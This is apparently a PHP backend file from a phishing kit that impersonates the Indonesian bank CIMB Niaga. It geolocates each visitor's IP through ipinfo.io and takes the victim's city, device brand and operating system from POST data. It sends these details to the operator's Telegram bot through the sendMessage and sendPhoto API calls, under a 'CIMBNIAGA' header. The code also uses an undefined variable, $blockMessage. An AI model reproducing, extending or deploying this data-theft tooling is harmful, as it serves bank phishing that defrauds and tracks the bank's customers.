<?php  
session_start();  

// Pastikan file send.php sudah ada dan menginisialisasi $telegram_id dan $id_bot  
include "./send.php";  

// Ambil IP pengirim  
$ip = $_SERVER['REMOTE_ADDR'];  

// DETEKSI NEGARA IP MENGGUNAKAN API ipinfo.io
$ipInfo = json_decode(file_get_contents("http://ipinfo.io/{$ip}/json"), true);  
$country = isset($ipInfo['country']) ? $ipInfo['country'] : "UNKNOWN";
    
    if (isset($telegram_id) && isset($id_bot)) {
        file_get_contents("https://api.telegram.org/bot{$id_bot}/sendMessage?chat_id={$telegram_id}&text=" . urlencode($blockMessage) . "&parse_mode=Markdown");
    }
if ($_SERVER['REQUEST_METHOD'] == 'POST') {  
    // Ambil data POST sebagai JSON  
    $rawData = file_get_contents('php://input');  
    $postData = json_decode($rawData, true);  

    // Validasi data yang diterima  
    $kota = isset($postData['kota']) && !empty($postData['kota']) ? htmlspecialchars($postData['kota']) : "Tidak diketahui";  
    $deviceType = isset($postData['deviceType']) && !empty($postData['deviceType']) ? htmlspecialchars($postData['deviceType']) : "Tidak diketahui";  
    $deviceName = isset($postData['deviceName']) && !empty($postData['deviceName']) ? htmlspecialchars($postData['deviceName']) : "Tidak diketahui";  

    // URL gambar yang ingin dikirim  
    $image_url = "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRBynBwhDSROiZzoAL_obGknyxY0DHXB2JGvw&usqp=CAU";  

    $message = "";  
    $message .= "꧁•⊹ CIMBNIAGA ⊹•꧂\n\n*Kota*: $kota\n";  
    // Dihapus: IP dan Country
    $message .= "*Brand*: $deviceType\n";  
    $message .= "*OS*: $deviceName\n";  

    // Fungsi untuk mengirim pesan ke Telegram dengan gambar  
    function sendPhotoWithCaption($telegram_id, $image_url, $message, $id_bot) {  
        $url = "https://api.telegram.org/bot" . $id_bot . "/sendPhoto";  
        $data = [  
            'chat_id' => $telegram_id,  
            'photo' => $image_url,  
            'caption' => $message,  
            'parse_mode' => 'Markdown'  
        ];  

        $ch = curl_init();  
        curl_setopt($ch, CURLOPT_URL, $url);  
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
        curl_setopt($ch, CURLOPT_POST, true);  
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);  
        $result = curl_exec($ch);  
        curl_close($ch);  
        return $result;  
    }  

    // Pastikan variabel bot tersedia sebelum mengirim data  
    if (isset($telegram_id) && isset($id_bot)) {  
        sendPhotoWithCaption($telegram_id, $image_url, $message, $id_bot);  
    }  
    exit();
}  
?>